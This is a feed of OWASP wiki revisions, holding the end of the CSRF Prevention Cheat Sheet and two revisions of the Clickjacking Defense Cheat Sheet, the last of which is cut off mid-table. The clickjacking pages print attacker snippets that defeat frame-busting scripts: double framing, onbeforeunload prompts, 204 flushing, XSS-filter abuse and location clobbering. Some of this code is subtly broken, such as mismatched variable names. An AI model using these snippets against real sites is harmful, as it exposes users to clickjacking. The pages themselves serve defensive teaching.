ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are limitations on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Checking The Referer Header ===&lt;br /&gt;
Although it is trivial to spoof the referer header on your own browser,  it is impossible to do so in a CSRF attack.  Checking the referer is a commonly used method of preventing CSRF on embedded network devices because it does not require a per-user state.  This makes a referer a useful method of CSRF prevention when memory is scarce.  This method of CSRF mitigation is also commonly used with unauthenticated requests,  such as requests made prior to establishing a session state which required for a synchronization token.&lt;br /&gt;
&lt;br /&gt;
However, checking the referer is considered to be a weaker from of CSRF protection.  For example,  open redirect vulnerabilities can be used to exploit GET-based requests that are protected with a referer check.  It should be noted that GET requests should never incur a state change as this is a violation of the HTTP specification. &lt;br /&gt;
&lt;br /&gt;
There are also common implementation mistakes with referer checks.  For example if the CSRF attack originates from an HTTPS domain then the referer will be omitted.  In this case the lack of a referer should be considered to be an attack when the request is performing a state change.   Also note that the attacker has limited influence over the referer.   For example,  if the victim's domain is &amp;quot;site.com&amp;quot; then an attacker have the CSRF exploit originate from &amp;quot;site.com.attacker.com&amp;quot; which may fool a broken referer check implementation.  XSS can be used to bypass a referer check. &lt;br /&gt;
&lt;br /&gt;
=== Checking The Origin Header ===&lt;br /&gt;
The [https://wiki.mozilla.org/Security/Origin Origin HTTP Header] standard was introduced as a method of defending against CSRF and other Cross-Domain attacks.  Unlike the referer, the origin will be present in HTTP request that originates from an HTTPS url.&lt;br /&gt;
&lt;br /&gt;
If the origin header is present,  then it should be checked for consistency.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]]&lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, any cross-site scripting vulnerability can be used to defeat token, Double-Submit cookie, referer and origin based CSRF defenses.  This is because an XSS payload can simply read any page on the site using a XMLHttpRequest and obtain the generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish[at]solutionary.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Eric Sheridan - eric[at]infraredsecurity.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Dave Wichers - dave.wichers[at]aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Clickjacking_Defense_Cheat_Sheet&amp;diff=151511</id>
		<title>Clickjacking Defense Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Clickjacking_Defense_Cheat_Sheet&amp;diff=151511"/>
				<updated>2013-05-13T19:44:55Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Clickjacking Defense Introduction =&lt;br /&gt;
&lt;br /&gt;
This cheat sheet is focused on providing developer guidance on [[Clickjacking|Clickjack/UI Redress]] attack prevention.&lt;br /&gt;
&lt;br /&gt;
The most popular way to defend against Clickjacking is to include some sort of &amp;quot;frame-breaking&amp;quot; functionality which prevents other web pages from framing the site you wish to defend. This cheat sheet will discuss two methods of implementing frame-breaking: first is X-Frame-Options headers (used if the browser supports the functionality); and second is javascript frame-breaking code.&lt;br /&gt;
&lt;br /&gt;
= Defending with X-Frame-Options Response Headers =&lt;br /&gt;
&lt;br /&gt;
The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a &amp;amp;lt;frame&amp;amp;gt; or &amp;amp;lt;iframe&amp;amp;gt;. Sites can use this to avoid Clickjacking attacks, by ensuring that their content is not embedded into other sites.&lt;br /&gt;
&lt;br /&gt;
=== X-Frame-Options Header Types  ===&lt;br /&gt;
&lt;br /&gt;
There are three possible values for the X-Frame-Options headers:&lt;br /&gt;
* &amp;lt;b&amp;gt;DENY&amp;lt;/b&amp;gt;, which prevents any domain from framing the content.&lt;br /&gt;
* &amp;lt;b&amp;gt;SAMEORIGIN&amp;lt;/b&amp;gt;, which only allows the current site to frame the content.&lt;br /&gt;
* &amp;lt;b&amp;gt;ALLOW-FROM uri&amp;lt;/b&amp;gt;, which permits the specified 'uri' to frame this page. (e.g., ALLOW-FROM http&amp;amp;#58;//www.example.com) The ALLOW-FROM option is a relatively recent addition (circa 2012) and may not be supported by all browsers yet.&lt;br /&gt;
&lt;br /&gt;
=== Browser Support ===&lt;br /&gt;
&lt;br /&gt;
The following browsers support X-Frame-Options headers.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;th&amp;gt;Browser&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;DENY/SAMEORIGIN Support Introduced&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;ALLOW-FROM Support Introduced&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Chrome&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;4.1.249.1042&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Firefox (Gecko)&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;3.6.9 (1.9.2.9)&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;[https://bugzilla.mozilla.org/show_bug.cgi?id=690168 18.0]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Internet Explorer&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;8.0&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Opera&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;10.50&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Safari&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;4.0&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://bugs.webkit.org/show_bug.cgi?id=94836 Not supported/Bug reported]&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
References: &lt;br /&gt;
* [https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options Mozilla Developer Network]&amp;lt;br&amp;gt;&lt;br /&gt;
* [http://datatracker.ietf.org/doc/draft-ietf-websec-x-frame-options/ IETF Draft]&lt;br /&gt;
&lt;br /&gt;
=== Implementation ===&lt;br /&gt;
&lt;br /&gt;
To implement this protection, you need to add the header to any page that you want to protect from being clickjacked. One way to do this is to add the header manually to every page.  A possibly simpler way is to implement a filter that automatically adds the header to every page.&lt;br /&gt;
&lt;br /&gt;
OWASP has an [[ClickjackFilter for Java EE|article and some code]] that provides all the details for implementing this in the Java EE environment.&lt;br /&gt;
&lt;br /&gt;
The SDL blog has posted an [http://blogs.msdn.com/sdl/archive/2009/02/05/clickjacking-defense-in-ie8.aspx article] covering how to implement this in a .NET environment.&lt;br /&gt;
&lt;br /&gt;
=== Limitations ===&lt;br /&gt;
&lt;br /&gt;
* '''Per-page policy specification''' &lt;br /&gt;
The policy needs to be specified for every page, which can complicate deployment. Providing the ability to enforce it for the entire site, at login time for instance, could simplify adoption.&lt;br /&gt;
&lt;br /&gt;
* '''Problems with multi-domain sites'''&lt;br /&gt;
The current implementation does not allow the webmaster to provide a whitelist of domains that are allowed to frame the page. While whitelisting can be dangerous, in some cases a webmaster might have no choice but to use more than one hostname.&lt;br /&gt;
&lt;br /&gt;
* '''Proxies'''&lt;br /&gt;
Web proxies are notorious for adding and stripping headers. If a web proxy strips the X-Frame-Options header then the site loses its framing protection.&lt;br /&gt;
&lt;br /&gt;
= Best-for-now Legacy Browser Frame Breaking Script =&lt;br /&gt;
&lt;br /&gt;
One way to defend against clickjacking is to include a &amp;quot;frame-breaker&amp;quot; script&lt;br /&gt;
in each page that should not be framed. The following methodology will prevent&lt;br /&gt;
a webpage from being framed even in legacy browsers, that do not support the&lt;br /&gt;
X-Frame-Options-Header.&lt;br /&gt;
&lt;br /&gt;
In the document HEAD element, add the following:&lt;br /&gt;
&lt;br /&gt;
First apply an ID to the style element itself:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;style id=&amp;amp;quot;antiClickjack&amp;amp;quot;&amp;amp;gt;body{display:none !important;}&amp;amp;lt;/style&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
And then delete that style by its ID immediately after in the script:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;script type=&amp;amp;quot;text/javascript&amp;amp;quot;&amp;amp;gt;&lt;br /&gt;
    if (self === top) {&lt;br /&gt;
        var antiClickjack = document.getElementById(&amp;amp;quot;antiClickjack&amp;amp;quot;);&lt;br /&gt;
        antiClickjack.parentNode.removeChild(antiClickjack);&lt;br /&gt;
    } else {&lt;br /&gt;
        top.location = self.location;&lt;br /&gt;
    }&lt;br /&gt;
 &amp;amp;lt;/script&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
This way, everything can be in the document HEAD and you only need one method/taglib in your API.&lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.codemagi.com/blog/post/194 https://www.codemagi.com/blog/post/194]&lt;br /&gt;
&lt;br /&gt;
= window.confirm() Protection =&lt;br /&gt;
The use of x-frame-options or a frame-breaking script is a more fail-safe method of clickjacking protection.  However, in scenarios where content must be frameable, then a window.confirm() can be used to help mitigate Clickjacking by informing the user of the action they are about to perform.&lt;br /&gt;
&lt;br /&gt;
Invoking window.confirm() will display a popup that cannot be framed.  If the window.confirm() originates from within an iframe with a different domain than the parent, then the dialog box will display what domain the window.confirm() originated from.  In this scenario the browser is displaying the origin of the dialog box to help mitigate Clickjacking attacks.  It should be noted that Internet Explorer is the only known browser that does not display the domain that the window.confirm() dialog box originated from,  to address this issue with Internet Explorer insure that the message within the dialog box contains contextual information about the type of action being performed.  For example:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;script type=&amp;amp;quot;text/javascript&amp;amp;quot;&amp;amp;gt;&lt;br /&gt;
    var action_confirm = window.confirm(&amp;quot;Are you sure you want to delete your youtube account?&amp;quot;)&lt;br /&gt;
    if (action_confirm) {&lt;br /&gt;
        //... perform action&lt;br /&gt;
    } else {&lt;br /&gt;
        //...  The user does not want to perform the requested action.&lt;br /&gt;
    }&lt;br /&gt;
 &amp;amp;lt;/script&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Non-Working Scripts =&lt;br /&gt;
Consider the following snippet which is '''NOT recommended''' for defending&lt;br /&gt;
against clickjacking:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;if (top!=self) top.location.href=self.location.href&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This simple frame breaking script attempts to prevent the page from being incorporated into a frame or iframe by forcing the parent window to load the current frame's URL. Unfortunately, multiple ways of defeating this type of script have been made public. We outline some here.&lt;br /&gt;
&lt;br /&gt;
== Double Framing ==&lt;br /&gt;
Some frame busting techniques navigate to the correct page by assigning a value to parent.location. This works well if the victim page is framed by a single page. However, if the attacker encloses the victim in one frame inside another (a double frame), then accessing parent.location becomes a security violation in all popular browsers, due to the '''descendant frame navigation policy'''. This security violation disables the counter-action navigation.&lt;br /&gt;
&lt;br /&gt;
'''Victim frame busting code:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if(top.location!=self.locaton) {&lt;br /&gt;
  parent.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Attacker top frame:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;attacker2.html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Attacker sub-frame:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== The onBeforeUnload Event ==&lt;br /&gt;
A user can manually cancel any navigation request submitted by a framed page. To exploit this, the framing page registers an onBeforeUnload handler which is called whenever the framing page is about to be unloaded due to navigation. The handler function returns a string that becomes part of a prompt displayed to the user. Say the attacker wants to frame PayPal. He registers an unload handler function that returns the string &amp;quot;Do you want to exit PayPal?&amp;quot;. When this string is displayed to the user is likely to cancel the navigation, defeating PayPal's frame busting attempt.&lt;br /&gt;
&lt;br /&gt;
The attacker mounts this attack by registering an unload event on the top page using the&lt;br /&gt;
following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
window.onbeforeunload = function()&lt;br /&gt;
{&lt;br /&gt;
  return &amp;quot;Asking the user nicely&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.paypal.com&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
PayPal's frame busting code will generate a BeforeUnload event activating our function and prompting the user to cancel the navigation event.&lt;br /&gt;
&lt;br /&gt;
== No-Content Flushing ==&lt;br /&gt;
While the previous attack requires user interaction, the same attack can be done without prompting the user. Most browsers (IE7, IE8, Google Chrome, and Firefox) enable an attacker to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting a navigation request to a site responding with \204 - No Content.&amp;quot; Navigating to a No Content site is effectively a NOP, but flushes the request pipeline, thus canceling the original navigation request. Here is sample code to do this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var preventbust = 0&lt;br /&gt;
window.onbeforeunload = function() { killbust++ }&lt;br /&gt;
setInterval( function() {&lt;br /&gt;
  if(killbust &amp;gt; 0){&lt;br /&gt;
  killbust = 2;&lt;br /&gt;
  window.top.location = 'http://nocontent204.com'&lt;br /&gt;
  }&lt;br /&gt;
}, 1);&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Exploiting XSS filters ==&lt;br /&gt;
IE8 and Google Chrome introduced reflective XSS filters that help protect web pages from certain types of XSS attacks. Nava and Lindsay (at Blackhat) observed that these filters can be used to circumvent frame busting code. The IE8 XSS filter compares given request parameters to a set of regular expressions in order to look for obvious attempts at cross-site scripting. Using &amp;quot;induced false positives&amp;quot;, the filter can be used to disable selected scripts. By matching the beginning of any script tag in the request parameters, the XSS filter will disable all inline scripts within the page, including frame busting scripts. External scripts can also be targeted by matching an external include, effectively disabling all external scripts. Since subsets of the JavaScript loaded is still functional (inline or external) and cookies are still available, this attack is effective for clickjacking.&lt;br /&gt;
&lt;br /&gt;
'''Victim frame busting code:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
if(top != self) {&lt;br /&gt;
  top.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Attacker:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.victim.com/?v=&amp;lt;script&amp;gt;if''&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The XSS filter will match that parameter &amp;quot;&amp;lt;script&amp;gt;if&amp;quot; to the beginning of the frame busting script on the victim and will consequently disable all inline scripts in the victim's page, including the frame busting script. The XSSAuditor filter available for Google Chrome enables the same exploit.&lt;br /&gt;
&lt;br /&gt;
== Clobbering top.location ==&lt;br /&gt;
Several modern browsers treat the location variable as a special immutable attribute across all contexts. However, this is not the case in IE7 and Safari 4.0.4 where the location variable can be redefined.&lt;br /&gt;
&lt;br /&gt;
'''IE7'''&lt;br /&gt;
Once the framing page redefines location, any frame busting code in a subframe that tries to read top.location will commit a security violation by trying to read a local variable in another domain. Similarly, any attempt to navigate by assigning top.location will fail.&lt;br /&gt;
&lt;br /&gt;
'''Victim frame busting code:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if(top.location != self.location) {&lt;br /&gt;
  top.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Attacker:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt; var location = &amp;quot;clobbered&amp;quot;;&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Safari 4.0.4'''&lt;br /&gt;
&lt;br /&gt;
We observed that although location is kept immutable in most circumstances, when a custom location setter is defined via defineSetter (through window) the object location becomes undefined. The framing page simply does:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
  window.defineSetter(&amp;quot;location&amp;quot; , function(){});&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now any attempt to read or navigate the top frame's location will fail.&lt;br /&gt;
&lt;br /&gt;
== Restricted zones ==&lt;br /&gt;
&lt;br /&gt;
Most frame busting relies on JavaScript in the framed page to detect framing and bust itself out. If JavaScript is disabled in the context of the subframe, the frame busting code will not run. There are unfortunately several ways of restricting JavaScript in a subframe:&lt;br /&gt;
&lt;br /&gt;
* '''In IE 8:''' &amp;lt;pre&amp;gt;&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot; security=&amp;quot;restricted&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
* '''In Chrome:''' &amp;lt;pre&amp;gt;&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot; sandbox&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
*''' In Firefox and IE:''' Activate designMode in parent page.&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Clickjacking_Defense_Cheat_Sheet&amp;diff=151510</id>
		<title>Clickjacking Defense Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Clickjacking_Defense_Cheat_Sheet&amp;diff=151510"/>
				<updated>2013-05-13T19:43:39Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Clickjacking Defense Introduction =&lt;br /&gt;
&lt;br /&gt;
This cheat sheet is focused on providing developer guidance on [[Clickjacking|Clickjack/UI Redress]] attack prevention.&lt;br /&gt;
&lt;br /&gt;
The most popular way to defend against Clickjacking is to include some sort of &amp;quot;frame-breaking&amp;quot; functionality which prevents other web pages from framing the site you wish to defend. This cheat sheet will discuss two methods of implementing frame-breaking: first is X-Frame-Options headers (used if the browser supports the functionality); and second is javascript frame-breaking code.&lt;br /&gt;
&lt;br /&gt;
= Defending with X-Frame-Options Response Headers =&lt;br /&gt;
&lt;br /&gt;
The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a &amp;amp;lt;frame&amp;amp;gt; or &amp;amp;lt;iframe&amp;amp;gt;. Sites can use this to avoid Clickjacking attacks, by ensuring that their content is not embedded into other sites.&lt;br /&gt;
&lt;br /&gt;
=== X-Frame-Options Header Types  ===&lt;br /&gt;
&lt;br /&gt;
There are three possible values for the X-Frame-Options headers:&lt;br /&gt;
* &amp;lt;b&amp;gt;DENY&amp;lt;/b&amp;gt;, which prevents any domain from framing the content.&lt;br /&gt;
* &amp;lt;b&amp;gt;SAMEORIGIN&amp;lt;/b&amp;gt;, which only allows the current site to frame the content.&lt;br /&gt;
* &amp;lt;b&amp;gt;ALLOW-FROM uri&amp;lt;/b&amp;gt;, which permits the specified 'uri' to frame this page. (e.g., ALLOW-FROM http&amp;amp;#58;//www.example.com) The ALLOW-FROM option is a relatively recent addition (circa 2012) and may not be supported by all browsers yet.&lt;br /&gt;
&lt;br /&gt;
=== Browser Support ===&lt;br /&gt;
&lt;br /&gt;
The following browsers support X-Frame-Options headers.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;th&amp;gt;Browser&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;DENY/SAMEORIGIN Support Introduced&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;ALLOW-FROM Support Introduced&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Chrome&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;4.1.249.1042&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
